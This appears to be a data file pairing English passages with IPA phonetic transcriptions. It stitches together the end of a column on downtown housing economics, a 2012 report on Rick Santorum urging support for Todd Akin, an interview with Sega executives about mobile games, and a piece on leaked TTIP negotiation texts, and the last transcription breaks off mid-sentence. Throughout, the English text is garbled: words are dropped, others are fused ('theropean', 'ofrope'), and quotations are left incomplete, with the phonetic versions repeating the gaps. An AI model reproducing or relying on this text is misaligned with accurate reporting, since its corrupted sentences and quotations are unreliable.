ˈpraɪsɪz əˈʤəst tɪ əˈʧiv ˌikwəˈlɪbriəm. fər ˌɛkəˈnɑmɪk ɪˈfɪʃənsi, skɛrs ənd lænd məst bi juzd fər ˈɔfəs ənd ˌrɛzɪˈdɛnʃəl lænd ˈjuzɪz. sˈmɔlər saɪzd ˈjunɪts, ənd nɑt ˈkɑndoʊz, ər ə mɔr ɪˈfɪʃənt ˌrɛzɪˈdɛnʃəl juz əv skɛrs lænd ðət ˈpərˌmɪts mɔr ˈwərkərz tɪ bi nɪr ðɛr ʤɑbz ɪn ðə ˌfaɪˈnænʃəl kɔr. soʊ, wət tɪ du wɪθ ðə ənˈmɛt dɪˈmænd fər lɑrʤ ˈkɑndoʊz? wɛl, ɪf ðɛr ˈrɪli wər ən ənˈmɛt ˌɛkəˈnɑmɪk dɪˈmænd, ˈbɪldərz wʊd hæv rɪˈspɑndɪd tɪ ɪt. ˈɛvədəns əv ˈækʧəwəl dɪˈmænd fər ˈkɑndoʊz, ɪt tərnz aʊt, ɪz ˈrəðər ɪˈlusɪv. ˈrisənt ˌɛnvaɪˈrɔnɪks ˈsərˌveɪz faʊnd jəŋ prəˈfɛʃənəlz kəmˈpleɪnd əv ə læk əv ˈkɑndoʊz (ə ˈsteɪtɪd ˈprɛfərəns), bət dɪd nɑt ˌnɛsəˈsɛrəli ʃoʊ ən ˈɪntəˌrɛst ɪn ˈoʊnɪŋ lɑrʤ ˈkɑndoʊz ðɛmˈsɛlvz. ɪn fækt, 81 pər sɛnt əv rɪˈspɑndənts sɛd ðət ðeɪ dɪd nɑt wɔnt ə ˈkɑndoʊ æt ɔl, wɪθ moʊst dɪˈzaɪərɪŋ ə dɪˈtæʧt hoʊm. ˌɛnvaɪˈrɔnɪks faʊnd ðət jəŋ prəˈfɛʃənəlz wər ˌprɪˈdɑmənənˌtli ˈrɛntərz ənd ðət 83 pər sɛnt dɪd nɑt hæv ˈʧɪldrən. ˈbɪldərz rɪˈspɑnd tɪ rɪˈvild ˈprɛfərənsɪz ənd nɑt ˈsteɪtɪd ˈprɛfərənsɪz. ðeɪ ər əˈwɛr əv ˈtrɪgərz, səʧ ɛz ðə bərθ əv ə fərst ʧaɪld, wɪʧ ˌɪnˈkrisɪz ðə dɪˈmænd fər speɪs ənd ˈpʊʃɪz jəŋ ˈfæməliz tɪ ðə ˈsəbərbz wɛr ˈʧipər lænd meɪks ˈoʊnɪŋ ˈlɑrʤər ˈhaʊsɪz ˈpɑsəbəl. ðə ˈsəbərbz, ɛz ə rɪˈzəlt, hæv bɪˈkəm ˈbɛtər ɪkˈwɪpt tɪ ˈkeɪtər tɪ ˈfæməliz wɪθ ˈʧɪldrən: ˈrɛˌstrɑnts ðɛr ˈɔlˌweɪz hæv ˈplɛnti əv haɪ ʧɛrz, bət traɪ ʃoʊɪŋ əp wɪθ θri ˈʧɪldrən æt ən ˈəpˌskeɪl ˈdaʊnˈtaʊn ˈrɛˌstrɑnt fər ˈdɪnər ənd wɔʧ ðə stæf ˈskræmbəl. ðə ˈsəbərbz ˈɔlsoʊ hæv ən əˈbəndəns əv ˈsɑkər fildz, ˈpleɪˌgraʊnz, pɑrks, ˈhɑki ərˈinəz, ənd ˈpɑrkɪŋ lɑts fər ˈviɪkəlz stəft wɪθ ˈspɔrtɪŋ ɪkˈwɪpmənt. wɪn, baɪ ˈkɑntræst, wɑz ðə læst taɪm ju sɔ ə ˈpɛrənt ˈtrævəlɪŋ wɪθ ˈhɑki bægz ənd ˈʧɪldrən ɔn ə ˈsəbˌweɪ? ˈrɛntərz, ənd nɑt ˌɪnˈvɛstərz, ˈʤɛnərˌeɪt ðə dɪˈmænd fər ˈʃɛltər speɪs ɪn ənd əraʊnd ˈdaʊnˈtaʊnz. ˌɪnˈvɛstərz rɪˈspɑnd tɪ ðə dɪˈmænd baɪ prəˈvaɪdɪŋ wən ənd ˈjunɪts tɪ ˈrɛntərz. ɛz ɪt ɪz, ˈdaʊnˈtaʊn ˌrɛzɪˈdɛnʃəl rɛnts ˈbɛrli ˈkəvər ðə ˈoʊnərˌʃɪp kɔsts əv ˌɪnˈvɛstərz hu ˈifɛktɪvli ˈsəbsɪˌdaɪz ðə ˈrɛntɪŋ jəŋ prəˈfɛʃənəlz. ɪf ˈkɑndoʊz ɪn ðə ˈdaʊnˈtaʊn kɔr meɪd mɔr sɛnts fər ˌɪnˈvɛstərz, ðeɪ maɪt meɪk mɔr sɛns fər ˈbɪldərz. ɪn ðə ɛnd, ɪt ɪz ɔl lænd ˌɛkəˈnɑmɪks. ˈheɪdər ɪz ən əˈsoʊʃiˌeɪt prəˈfɛsər æt ˈraɪrsən ˌjunəˈvərsəti. ˈstivən ɪz ə ril ɛˈsteɪt ˈɪndəstri ˈvɛtərən. ðeɪ kən bi riʧt æt info@hmbulletin.com*. |
barnesville, ohio -- rick santorum on saturday said the entire republican party should voice its support for senate candidate todd akin of missouri -- including the top of the party's presidential ticket.
after holding a rally for republican presidential nominee mitt romney here in the heart of ohio's coal country, santorum told nbc news that an akin victory is essential for the to regain control of the senate and repeal president barack obama's health care law. the only way for that to happen, santorum said, is for the establishment to give the embattled akin its support.
"the entire republican party should stand up and say, 'you know what? he's our candidate, it's too important for the future of our country not to have a majority of the senate in this upcoming election," santorum said when asked if romney needs to publicly support akin. "i'm hoping everybody will join in and support the cause."
the former pennsylvania senator and unsuccessful president candidate joined south carolina sen. jim demint in announcing their support of akin on wednesday.
"i don't know what the republican establishment -- what their objective is, but if they want to repeal obamacare, we better hold the senate. and to hold the senate, we better win missouri," santorum said.
akin has taken heat from both sides of the aisle after using the term "legitimate rape" and saying women have a biological way of preventing unwanted pregnancies while he gave a explanation of his views on abortion.
"my feeling is that we can win the presidency, but if we don't have 51 senators, we're not going to be able to repeal obamacare," said santorum.
romney's former rival has been active campaigning for the presidential candidate in the buckeye state. it's a primary santorum nearly won on super tuesday, and his support was particularly strong in this part of the state, heavy with workers and not far from his home of pittsburgh.
despite recent polls showing romney needing to make up significant ground in ohio, the former senator remained optimistic about the state turning red. "i'm confident that mitt romney will win ohio, will when the presidency," he said. "people here understand how dangerous this president is."
that danger, santorum said, stems from the president's energy policy, which he claims makes the u.s. more dependent on foreign oil. it is a message the romney campaign hopes will resonate in this part of the state. it is here where republicans go to hammer obama for waging a "war on coal."
"this is a president that is going to drive this country to economic ruin because of a phony ideology that, you know, somehow or another he has to control the seas rising and falling," santorum said.
while santorum has been traveling as a romney surrogate, he also has been holding events in places like iowa independent of the presidential race. it has fueled speculation that he could be eyeing another run.
asked about his political future, santorum would only say that he will be happy in 2016 to continue his work as a romney surrogate. "i'll be happy to come back and campaign for gov. romney in four years," he said. | barnesville*, oʊˈhaɪoʊ rɪk sænˈtɔrəm ɔn ˈsæˌtɪˌdeɪ sɛd ðə ɪnˈtaɪər rɪˈpəblɪkən ˈpɑrti ʃʊd vɔɪs ɪts səˈpɔrt fər ˈsɛnɪt ˈkænədɪt tɑd ˈeɪkɪn əv məˈzʊri ˌɪnˈkludɪŋ ðə tɔp əv ðə ˈpɑrtiz ˌprɛzɪˈdɛnʃəl ˈtɪkɪt. ˈæftər ˈhoʊldɪŋ ə ˈræli fər rɪˈpəblɪkən ˌprɛzɪˈdɛnʃəl ˌnɑməˈni mɪt ˈrɑmni hir ɪn ðə hɑrt əv oʊˈhaɪoʊz koʊl ˈkəntri, sænˈtɔrəm toʊld ˈɛnˌbiˈsi nuz ðət ən ˈeɪkɪn ˈvɪktəri ɪz ɛˈsɛnʃəl fər ðə tɪ rɪˈgeɪn kənˈtroʊl əv ðə ˈsɛnɪt ənd rɪˈpil ˈprɛzɪdənt ˈbɑrək ˌoʊˈbɑməz hɛlθ kɛr lɔ. ðə ˈoʊnli weɪ fər ðət tɪ ˈhæpən, sænˈtɔrəm sɛd, ɪz fər ðə ɪˈstæblɪʃmənt tɪ gɪv ðə ɛmˈbætəld ˈeɪkɪn ɪts səˈpɔrt. "ðə ɪnˈtaɪər rɪˈpəblɪkən ˈpɑrti ʃʊd stænd əp ənd seɪ, 'ju noʊ wət? hiz ɑr ˈkænədɪt, ɪts tu ˌɪmˈpɔrtənt fər ðə fˈjuʧər əv ɑr ˈkəntri nɑt tɪ hæv ə məˈʤɔrəti əv ðə ˈsɛnɪt ɪn ðɪs ˈəpˌkəmɪŋ ɪˈlɛkʃən," sænˈtɔrəm sɛd wɪn æst ɪf ˈrɑmni nidz tɪ ˈpəblɪkli səˈpɔrt ˈeɪkɪn. "əm ˈhoʊpɪŋ ˈɛvriˌbɑdi wɪl ʤɔɪn ɪn ənd səˈpɔrt ðə kɔz." ðə ˈfɔrmər ˌpɛnsəlˈveɪnjə ˈsɛnətər ənd ˌənsəkˈsɛsfəl ˈprɛzɪdənt ˈkænədɪt ʤɔɪnd saʊθ ˌkɛrəˈlaɪnə sɛn. ʤɪm ˈdeɪmint ɪn əˈnaʊnsɪŋ ðɛr səˈpɔrt əv ˈeɪkɪn ɔn ˈwɛnzˌdeɪ. "aɪ doʊnt noʊ wət ðə rɪˈpəblɪkən ɪˈstæblɪʃmənt wət ðɛr əˈbʤɛktɪv ɪz, bət ɪf ðeɪ wɔnt tɪ rɪˈpil obamacare*, wi ˈbɛtər hoʊld ðə ˈsɛnɪt. ənd tɪ hoʊld ðə ˈsɛnɪt, wi ˈbɛtər wɪn məˈzʊri," sænˈtɔrəm sɛd. ˈeɪkɪn həz ˈteɪkən hit frəm boʊθ saɪdz əv ðə aɪəl ˈæftər ˈjuzɪŋ ðə tərm "ləˈʤɪtəmət reɪp" ənd seɪɪŋ ˈwɪmən hæv ə ˌbaɪəˈlɑʤɪkəl weɪ əv prɪˈvɛnɪŋ ənˈwɔntɪd ˈprɛgnənsiz waɪl hi geɪv ə ˌɛkspləˈneɪʃən əv hɪz vjuz ɔn əˈbɔrʃən. "maɪ ˈfilɪŋ ɪz ðət wi kən wɪn ðə ˈprɛzɪdənsi, bət ɪf wi doʊnt hæv 51 ˈsɛnətərz, wɪr nɑt goʊɪŋ tɪ bi ˈeɪbəl tɪ rɪˈpil obamacare*," sɛd sænˈtɔrəm. ˈrɑmniz ˈfɔrmər ˈraɪvəl həz bɪn ˈæktɪv kæmˈpeɪnɪŋ fər ðə ˌprɛzɪˈdɛnʃəl ˈkænədɪt ɪn ðə ˈbəˌkaɪ steɪt. ɪts ə ˈpraɪˌmɛri sænˈtɔrəm ˈnɪrli wən ɔn ˈsupər ˈtuzˌdeɪ, ənd hɪz səˈpɔrt wɑz ˌpɑrˈtɪkjələrli strɔŋ ɪn ðɪs pɑrt əv ðə steɪt, ˈhɛvi wɪθ ˈwərkərz ənd nɑt fɑr frəm hɪz hoʊm əv ˈpɪtsbərg. dɪˈspaɪt ˈrisənt poʊlz ʃoʊɪŋ ˈrɑmni ˈnidɪŋ tɪ meɪk əp sɪgˈnɪfɪkənt graʊnd ɪn oʊˈhaɪoʊ, ðə ˈfɔrmər ˈsɛnətər rɪˈmeɪnd ˌɑptɪˈmɪstɪk əˈbaʊt ðə steɪt ˈtərnɪŋ rɛd. "əm ˈkɑnfədənt ðət mɪt ˈrɑmni wɪl wɪn oʊˈhaɪoʊ, wɪl wɪn ðə ˈprɛzɪdənsi," hi sɛd. "ˈpipəl hir ˌəndərˈstænd haʊ ˈdeɪnʤərəs ðɪs ˈprɛzɪdənt ɪz." ðət ˈdeɪnʤər, sænˈtɔrəm sɛd, stɛmz frəm ðə ˈprɛzɪdənts ˈɛnərʤi ˈpɑləsi, wɪʧ hi kleɪmz meɪks ðə juz. mɔr dɪˈpɛndənt ɔn ˈfɔrən ɔɪl. ɪt ɪz ə ˈmɛsɪʤ ðə ˈrɑmni kæmˈpeɪn hoʊps wɪl ˈrɛzəˌneɪt ɪn ðɪs pɑrt əv ðə steɪt. ɪt ɪz hir wɛr rɪˈpəblɪkənz goʊ tɪ ˈhæmər ˌoʊˈbɑmə fər ˈweɪʤɪŋ ə "wɔr ɔn koʊl." "ðɪs ɪz ə ˈprɛzɪdənt ðət ɪz goʊɪŋ tɪ draɪv ðɪs ˈkəntri tɪ ˌɛkəˈnɑmɪk ruɪn bɪˈkəz əv ə ˈfoʊni ˌaɪdiˈɑləʤi ðət, ju noʊ, ˈsəmˌhaʊ ər əˈnəðər hi həz tɪ kənˈtroʊl ðə siz ˈraɪzɪŋ ənd ˈfɑlɪŋ," sænˈtɔrəm sɛd. waɪl sænˈtɔrəm həz bɪn ˈtrævəlɪŋ ɛz ə ˈrɑmni ˈsərəˌgeɪt, hi ˈɔlsoʊ həz bɪn ˈhoʊldɪŋ ɪˈvɛnts ɪn ˈpleɪsɪz laɪk ˈaɪəwə ˌɪndɪˈpɛndənt əv ðə ˌprɛzɪˈdɛnʃəl reɪs. ɪt həz fjuəld ˌspɛkjəˈleɪʃən ðət hi kʊd bi aɪɪŋ əˈnəðər rən. æst əˈbaʊt hɪz pəˈlɪtɪkəl fˈjuʧər, sænˈtɔrəm wʊd ˈoʊnli seɪ ðət hi wɪl bi ˈhæpi ɪn 2016 tɪ kənˈtɪnju hɪz wərk ɛz ə ˈrɑmni ˈsərəˌgeɪt. "aɪl bi ˈhæpi tɪ kəm bæk ənd kæmˈpeɪn fər gəv. ˈrɑmni ɪn fɔr jɪrz," hi sɛd. |
sega’s been awfully quiet about making noise in mobile and digital. obviously active in both spaces, but we never seem to hear much about it.
or maybe just us not doing our jobs. we recently interviewed two executives from the online and digital sides to find out where the company is at during this console transition and recent boom in mobile, and they were quick to point out their big successes there (naturally). but they also recognize the huge challenges that still face them. how does a in hardware remember the sega genesis, saturn, and dreamcast? deal with this new age of too many platforms?
senior director of digital marketing mike evans and director of online operations ethan einhorn sit down with to discuss.
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gamesbeat: in this transitional period where traditional consoles are still coming out, but the market look anything like it used to. main competition for consumer dollars and time may not be microsoft but perhaps apple instead. how does sega view the market right now? who are your consumers?
mike evans: a good question. our audience is really all over the place. you have an audience that exists on the console platforms, for sure. sega is still very much part of that picture. then we have our audience who may also play on console but who exist on the mobile devices, who exist on tablets, who exist on pc.
for sega, rather than us defining a particular platform, what trying to do is make sure that we can get our content out to all the places where our consumers exist. key. absolutely right. the market has changed fundamentally. but also a really exciting place to be. sega has been making mobile games since the feature phone days and at the forefront of the since 2008. where the platforms are emerging and where demand from consumers, sega is going to be there.
ethan einhorn: taking, on the console side, more of a pillar approach. doing some very exciting things with sonic as a brand in the near future. also very heavily focused on strategy, as seen with our pickup of [company of heroes developer] relic, as well as what doing with [total war developer] creative assembly. of course, continuing to do core titles like aliens: colonial marines.
but as mike was saying, trying to appeal to our customers on any platform where they want to play. mobile opens up the opportunity to allow us to go from a $60 price point to a price point of zero. been interesting for us is to see who within sega has been interested in moving into that mobile space. for instance, the head of for sega games network is masayoshi kikuchi, who was the director of jet set radio. the person who is currently directing kingdom conquest [also] directed typing of the dead. a lot of these classic designers are bringing their experience to bear now in the mobile space.
gamesbeat: when you say you want to capture this wide range of potential gamers, would that include the purely mobile, casual, angry birds crowd?
evans: absolutely. we have games that service all different types and sets of consumers. some [intellectual properties] lend themselves to maybe a younger audience. some are more classic in their stance; some maybe appeal to a more mature audience. we have titles like house of the dead. probably an example of a mature game. then sonic, which has been kind of reinvented. bringing that to the android platform. an example of something which might skew slightly younger, as well as have this more classic base.
einhorn: sonic dash, which is popular right now on the top charts, is another great example of appealing to a more casual demographic. but again, within that same ecosystem we have kingdom conquest, which is extremely core. both of those comfortably coexist at the same publisher. | sega’s* bɪn ˈɔfəli kwaɪət əˈbaʊt ˈmeɪkɪŋ nɔɪz ɪn ˈmoʊbəl ənd ˈdɪʤɪtəl. ˈɑbviəsli ˈæktɪv ɪn boʊθ ˈspeɪsɪz, bət wi ˈnɛvər sim tɪ hir məʧ əˈbaʊt ɪt. ər ˈmeɪbi ʤɪst ˈjuˈɛs nɑt duɪŋ ɑr ʤɑbz. wi ˈrisəntli ˈɪntərvˌjud tu ɪgˈzɛkjətɪvz frəm ðə ˈɔnˌlaɪn ənd ˈdɪʤɪtəl saɪdz tɪ faɪnd aʊt wɛr ðə ˈkəmpəˌni ɪz æt ˈdʊrɪŋ ðɪs ˈkɑnsoʊl trænˈzɪʃən ənd ˈrisənt bum ɪn ˈmoʊbəl, ənd ðeɪ wər kwɪk tɪ pɔɪnt aʊt ðɛr bɪg səkˈsɛsɪz ðɛr (ˈnæʧərəli). bət ðeɪ ˈɔlsoʊ ˈrɛkəgˌnaɪz ðə juʤ ˈʧælənʤɪz ðət stɪl feɪs ðɛm. haʊ dɪz ə ɪn ˈhɑrdˌwɛr rɪˈmɛmbər ðə ˈsigə ˈʤɛnəsəs, ˈsætərn, ənd dreamcast*? dil wɪθ ðɪs nu eɪʤ əv tu ˈmɛni ˈplætˌfɔrmz? ˈsinjər dɪˈrɛktər əv ˈdɪʤɪtəl ˈmɑrkətɪŋ maɪk ˈɛvənz ənd dɪˈrɛktər əv ˈɔnˌlaɪn ˌɑpərˈeɪʃənz ˈiθən ˈaɪnˌhɔrn sɪt daʊn wɪθ tɪ dɪˈskəs. ˈɪmɪʤ ˈkrɛdɪt: ˈsigə: ɪn ðɪs trænˈzɪʃənəl ˈpɪriəd wɛr trəˈdɪʃənəl kənˈsoʊlz ər stɪl ˈkəmɪŋ aʊt, bət ðə ˈmɑrkɪt lʊk ˈɛniˌθɪŋ laɪk ɪt juzd tɪ. meɪn ˌkɑmpəˈtɪʃən fər kənˈsumər ˈdɔlərz ənd taɪm meɪ nɑt bi ˈmaɪˌkroʊˈsɔft bət pərˈhæps ˈæpəl ˌɪnˈstɛd. haʊ dɪz ˈsigə vju ðə ˈmɑrkɪt raɪt naʊ? hu ər jʊr kənˈsumərz? maɪk ˈɛvənz: ə gʊd kˈwɛʃən. ɑr ˈɔdiəns ɪz ˈrɪli ɔl ˈoʊvər ðə pleɪs. ju hæv ən ˈɔdiəns ðət ɪgˈzɪsts ɔn ðə ˈkɑnsoʊl ˈplætˌfɔrmz, fər ʃʊr. ˈsigə ɪz stɪl ˈvɛri məʧ pɑrt əv ðət ˈpɪkʧər. ðɛn wi hæv ɑr ˈɔdiəns hu meɪ ˈɔlsoʊ pleɪ ɔn ˈkɑnsoʊl bət hu ɪgˈzɪst ɔn ðə ˈmoʊbəl dɪˈvaɪsɪz, hu ɪgˈzɪst ɔn ˈtæbləts, hu ɪgˈzɪst ɔn ˈpiˈsi. fər ˈsigə, ˈrəðər ðən ˈjuˈɛs dɪˈfaɪnɪŋ ə ˌpɑˈtɪkjələr ˈplætˌfɔrm, wət traɪɪŋ tɪ du ɪz meɪk ʃʊr ðət wi kən gɪt ɑr ˈkɑntɛnt aʊt tɪ ɔl ðə ˈpleɪsɪz wɛr ɑr kənˈsumərz ɪgˈzɪst. ki. ˌæbsəˈlutli raɪt. ðə ˈmɑrkɪt həz ʧeɪnʤd ˌfəndəˈmɛnəli. bət ˈɔlsoʊ ə ˈrɪli ɪkˈsaɪtɪŋ pleɪs tɪ bi. ˈsigə həz bɪn ˈmeɪkɪŋ ˈmoʊbəl geɪmz sɪns ðə ˈfiʧər foʊn deɪz ənd æt ðə ˈfɔrˌfrənt əv ðə sɪns 2008 wɛr ðə ˈplætˌfɔrmz ər ˈimərʤɪŋ ənd wɛr dɪˈmænd frəm kənˈsumərz, ˈsigə ɪz goʊɪŋ tɪ bi ðɛr. ˈiθən ˈaɪnˌhɔrn: ˈteɪkɪŋ, ɔn ðə ˈkɑnsoʊl saɪd, mɔr əv ə ˈpɪlər əˈproʊʧ. duɪŋ səm ˈvɛri ɪkˈsaɪtɪŋ θɪŋz wɪθ ˈsɑnɪk ɛz ə brænd ɪn ðə nɪr fˈjuʧər. ˈɔlsoʊ ˈvɛri ˈhɛvəli ˈfoʊkɪst ɔn ˈstrætəʤi, ɛz sin wɪθ ɑr ˈpɪˌkəp əv [ˈkəmpəˌni əv ˈhɪroʊz dɪˈvɛləpər] ˈrɛlɪk, ɛz wɛl ɛz wət duɪŋ wɪθ [ˈtoʊtəl wɔr dɪˈvɛləpər] kriˈeɪtɪv əˈsɛmbli. əv kɔrs, kənˈtɪnjuɪŋ tɪ du kɔr ˈtaɪtəlz laɪk ˈeɪliənz: kəˈloʊniəl mərˈinz. bət ɛz maɪk wɑz seɪɪŋ, traɪɪŋ tɪ əˈpil tɪ ɑr ˈkəstəmərz ɔn ˈɛni ˈplætˌfɔrm wɛr ðeɪ wɔnt tɪ pleɪ. ˈmoʊbəl ˈoʊpənz əp ðə ˌɑpərˈtunəti tɪ əˈlaʊ ˈjuˈɛs tɪ goʊ frəm ə 60 praɪs pɔɪnt tɪ ə praɪs pɔɪnt əv ˈziroʊ. bɪn ˈɪntəˌrɛstɪŋ fər ˈjuˈɛs ɪz tɪ si hu wɪˈθɪn ˈsigə həz bɪn ˈɪntəˌrɛstɪd ɪn ˈmuvɪŋ ˈɪntu ðət ˈmoʊbəl speɪs. fər ˈɪnstəns, ðə hɛd əv fər ˈsigə geɪmz ˈnɛtˌwərk ɪz ˌmɑsɑˈjoʊˌʃi kiˈkuʧi, hu wɑz ðə dɪˈrɛktər əv ʤɛt sɛt ˈreɪdiˌoʊ. ðə ˈpərsən hu ɪz ˈkərəntli dɪˈrɛktɪŋ ˈkɪŋdəm ˈkɑŋkwɛst [ˈɔlsoʊ] dɪˈrɛktɪd ˈtaɪpɪŋ əv ðə dɛd. ə lɔt əv ðiz ˈklæsɪk dɪˈzaɪnərz ər ˈbrɪŋɪŋ ðɛr ɪkˈspɪriəns tɪ bɛr naʊ ɪn ðə ˈmoʊbəl speɪs.: wɪn ju seɪ ju wɔnt tɪ ˈkæpʧər ðɪs waɪd reɪnʤ əv pəˈtɛnʃəl ˈgeɪmərz, wʊd ðət ˌɪnˈklud ðə ˈpjʊrli ˈmoʊbəl, ˈkæʒəwəl, ˈæŋgri bərdz kraʊd? ˈɛvənz: ˌæbsəˈlutli. wi hæv geɪmz ðət ˈsərvɪs ɔl ˈdɪfərənt taɪps ənd sɛts əv kənˈsumərz. səm [ˌɪnəˈlɛkʧuəl ˈprɑpərtiz] lɛnd ðɛmˈsɛlvz tɪ ˈmeɪbi ə ˈjəŋgər ˈɔdiəns. səm ər mɔr ˈklæsɪk ɪn ðɛr stæns; səm ˈmeɪbi əˈpil tɪ ə mɔr məˈʧʊr ˈɔdiəns. wi hæv ˈtaɪtəlz laɪk haʊs əv ðə dɛd. ˈprɑbəˌbli ən ɪgˈzæmpəl əv ə məˈʧʊr geɪm. ðɛn ˈsɑnɪk, wɪʧ həz bɪn kaɪnd əv ˌriɪnˈvɛntɪd. ˈbrɪŋɪŋ ðət tɪ ðə ˈænˌdrɔɪd ˈplætˌfɔrm. ən ɪgˈzæmpəl əv ˈsəmθɪŋ wɪʧ maɪt skju sˈlaɪtli ˈjəŋgər, ɛz wɛl ɛz hæv ðɪs mɔr ˈklæsɪk beɪs. ˈaɪnˌhɔrn: ˈsɑnɪk dæʃ, wɪʧ ɪz ˈpɑpjələr raɪt naʊ ɔn ðə tɔp ʧɑrts, ɪz əˈnəðər greɪt ɪgˈzæmpəl əv əˈpilɪŋ tɪ ə mɔr ˈkæʒəwəl ˌdɛməˈgræfɪk. bət əˈgɛn, wɪˈθɪn ðət seɪm ˈikoʊˌsɪstəm wi hæv ˈkɪŋdəm ˈkɑŋkwɛst, wɪʧ ɪz ɪkˈstrimli kɔr. boʊθ əv ðoʊz ˈkəmfərtəbli ˌkoʊəgˈzɪst æt ðə seɪm ˈpəblɪʃər. |
bernd lange, the chairman of theropean parliament's important trade committee, has indicated that he now expects the transatlantic trade and investment partnership (ttip) negotiations will probably fail, following a major leak of confidential documents from the talks.
greenpeace netherlands has released half of the entire draft text as of april 2016, prior to the start of the round of negotiations between the and the us, which reveal us demands in detail for the first time.
although the has improved transparency recently, and routinely publishes its offers for each chapter, the us has consistently refused to do so. even and have faced extreme restrictions on what they are allowed to look at, copy, or even say when it comes to the us position. the new leak by an unknown whistleblower represents a major blow to us attempts to keep its negotiating demands confidential, and provides important information to the both the and us public for the first time.
us wants and regulatory cooperation
the new documents confirm some of the fears expressed by many organisations and commentators regarding two key areas discussed previously here on: the dispute settlement ( ) mechanism, and regulatory cooperation
as noted last september, in the face of massive public concerns about, theropean commission is proposing a modified approach, the investment court system (ics), which it claims addresses the problems of. however, even though the idea was formally presented to the us last year, one of the leaks shows that it was not even discussed during the round, something that theropean commission's public report on the negotiations omitted to mention. this confirms earlier indications that the us is not interested in, and will insist on including standard in, regardless of worries.
a leaked chapter on "regulatory coherence, transparency and other good regulatory practices" indicates that the us wants all regulations, even those concerning health and safety or environmental issues, to be judged by the yardstick of their effects on trade: "when developing a regulation, a regulatory authority of a party shall evaluate any information provided in comments by the other party or a person of the other party regarding the potential trade effects of the regulation that it receives during the comment period."
in practice, this means that companies will be able to challenge any new and us regulations that might have an adverse effect on their profits, as is often the case when new environment regulations are brought in. it is likely to make it much harder to strengthen laws that might disadvantage business but protect public health and safety.
a post on the war on want site points out that the leaks contain a very clear indication of what the us wants to achieve as a quid pro quo for opening up its markets: "any export gains for car manufacturers will come at a massive cost toropean agriculture, with theropean commission sacrificing the farmers ofrope in order to force open us markets for majorropean corporations."
the key sentence comes in the particularly sensitive document entitled "tactical state of play of the negotiations." this is essentially theropean frank evaluation of where things stand in the talks. here's what it has to say on the us demand: "progress on motor parts would only be possible if the showed progress in the discussion on agricultural tariffs." in other words, if the doesn't open up its markets to agricultural products from the means things like beef treated with hormones, and maybe even chlorine will be no improved access for car manufacturers.
us wants more in the
perhaps the most problematic demand from the us side is that the commission should allow foods with to be approved and sold in the more easily. in documents, are such a sensitive area that they are called by thephemism "modern agricultural technology."
at the moment, the approvals process is rather slow in the, but the us hopes to change all that, as another leaked chapter makes clear: "where a party requires a product of modern agricultural technology to be approved or prior to its importation, use or sale in its territory, the party shall allow any person to submit an application for approval at any time." although that sounds harmless enough, it would represent a major change from the present system.
greenpeace netherlands naturally singles out some concerns about the environment, and the fact that there is nothing about climate protection in the texts. in its press release it says: "long standing environmental protection is dropped. the 'general exceptions' rule, enshrined in the gatt agreement of the world trade organisation (wto), is absent from the text."
listing image by | bərnt læŋ, ðə ˈʧɛrmən əv ðə ˌjʊrəˈpiən ˈpɑrləmɛnts ˌɪmˈpɔrtənt treɪd kəˈmɪti, həz ˈɪndəˌkeɪtɪd ðət hi naʊ ɪkˈspɛkts ðə ˌtrænzəˈtlænɪk treɪd ənd ˌɪnˈvɛstmənt ˈpɑrtnərˌʃɪp (ttip*) nɪˌgoʊʃiˈeɪʃənz wɪl ˈprɑbəˌbli feɪl, ˈfɑloʊɪŋ ə ˈmeɪʤər lik əv ˌkɑnfəˈdɛnʃəl ˈdɑkjəmənts frəm ðə tɔks. ˈgrinˌpis ˈnɛðərləndz həz riˈlist hæf əv ðə ɪnˈtaɪər dræft tɛkst ɛz əv ˈeɪprəl 2016 praɪər tɪ ðə stɑrt əv ðə raʊnd əv nɪˌgoʊʃiˈeɪʃənz bɪtˈwin ðə ənd ðə ˈjuˈɛs, wɪʧ rɪˈvil ˈjuˈɛs dɪˈmændz ɪn ˈditeɪl fər ðə fərst taɪm. ˌɔlˈðoʊ ðə həz ˌɪmˈpruvd trænˈspɛrənsi ˈrisəntli, ənd ruˈtinli ˈpəblɪʃɪz ɪts ˈɔfərz fər iʧ ˈʧæptər, ðə ˈjuˈɛs həz kənˈsɪstəntli rɪfˈjuzd tɪ du soʊ. ˈivɪn ənd hæv feɪst ɪkˈstrim riˈstrɪkʃənz ɔn wət ðeɪ ər əˈlaʊd tɪ lʊk æt, ˈkɑpi, ər ˈivɪn seɪ wɪn ɪt kəmz tɪ ðə ˈjuˈɛs pəˈzɪʃən. ðə nu lik baɪ ən ənˈnoʊn ˈwɪsəlˌbloʊər ˌrɛprɪˈzɛnts ə ˈmeɪʤər bloʊ tɪ ˈjuˈɛs əˈtɛmpts tɪ kip ɪts nɪˈgoʊʃiˌeɪtɪŋ dɪˈmændz ˌkɑnfəˈdɛnʃəl, ənd prəˈvaɪdz ˌɪmˈpɔrtənt ˌɪnˌfɔrˈmeɪʃən tɪ ðə boʊθ ðə ənd ˈjuˈɛs ˈpəblɪk fər ðə fərst taɪm. ˈjuˈɛs wɔnts ənd ˈrɛgjələˌtɔri kˌwɔpərˈeɪʃən ðə nu ˈdɑkjəmənts kənˈfərm səm əv ðə fɪrz ɪkˈsprɛst baɪ ˈmɛni ˌɔrgənɪˈzeɪʃənz ənd ˈkɑmənˌteɪtərz rɪˈgɑrdɪŋ tu ki ˈɛriəz dɪˈskəst ˈpriviəsli hir ɔn: ðə dɪˈspjut ˈsɛtəlmənt ˈmɛkəˌnɪzəm, ənd ˈrɛgjələˌtɔri kˌwɔpərˈeɪʃən ɛz ˈnoʊtɪd læst sɛpˈtɛmbər, ɪn ðə feɪs əv ˈmæsɪv ˈpəblɪk kənˈsərnz əˈbaʊt, ðə ˌjʊrəˈpiən kəˈmɪʃən ɪz prəˈpoʊzɪŋ ə ˈmɑdəˌfaɪd əˈproʊʧ, ðə ˌɪnˈvɛstmənt kɔrt ˈsɪstəm (ics*), wɪʧ ɪt kleɪmz ˈæˈdrɛsɪz ðə ˈprɑbləmz əv. ˌhaʊˈɛvər, ˈivɪn ðoʊ ðə aɪˈdiə wɑz ˈfɔrməli pərˈzɛnəd tɪ ðə ˈjuˈɛs læst jɪr, wən əv ðə liks ʃoʊz ðət ɪt wɑz nɑt ˈivɪn dɪˈskəst ˈdʊrɪŋ ðə raʊnd, ˈsəmθɪŋ ðət ðə ˌjʊrəˈpiən kəˈmɪʃənz ˈpəblɪk rɪˈpɔrt ɔn ðə nɪˌgoʊʃiˈeɪʃənz oʊˈmɪtɪd tɪ ˈmɛnʃən. ðɪs kənˈfərmz ˈərliər ˌɪndəˈkeɪʃənz ðət 